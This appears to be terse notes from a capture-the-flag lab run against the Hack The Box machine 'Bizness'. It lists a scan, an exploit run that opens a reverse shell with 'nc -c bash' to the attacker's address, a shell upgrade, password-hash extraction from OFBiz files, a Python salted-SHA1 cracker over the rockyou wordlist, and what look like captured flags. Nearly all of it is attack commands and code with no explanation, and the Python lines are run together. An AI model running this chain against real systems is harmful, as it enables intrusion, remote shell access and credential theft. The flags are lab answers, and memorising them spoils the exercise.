nmap -sV 10.10.11.252

python3 .dirsearch.py -u https://bizness.htb/

 python3 exploit.py --url https://bizness.htb/

python3 exploit.py --url https://bizness.htb/ --cmd 'nc -c bash 10.10.14.10 1234'

python3 -c 'import pty;pty.spawn("/bin/bash")'

bcbb4864adbb5d2de97c75432cca4eb0

find / -name "*admin*"

/opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml

{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a

strings -f *.dat | grep -i 'password' 

$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

import hashlibimport base64

def crack_sha1_with_salt(hash_value, dictionary_path):    with open(dictionary_path, 'r', encoding='utf-8', errors='ignore') as f:        for word in f:            word = word.strip()            salt, encoded_hash = hash_value.split('$')[2:]            encoded_hash += '=' * (-len(encoded_hash) % 4)  # 添加适当数量的填充字符            decoded_hash = base64.urlsafe_b64decode(encoded_hash.replace('-', '+').replace('_', '/')).hex()            salted_word = salt + word            hashed_word = hashlib.sha1(salted_word.encode('utf-8')).hexdigest()            if hashed_word == decoded_hash:                return word    return None

# 输入参数hash_value = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"dictionary_path = "/usr/share/wordlists/rockyou.txt"

# 调用函数进行破解result = crack_sha1_with_salt(hash_value, dictionary_path)

# 输出结果if result:    print("破解成功！密码为:", result)else:    print("未找到匹配的密码。")

e8b759fe6e2b0c675302b565709bfef5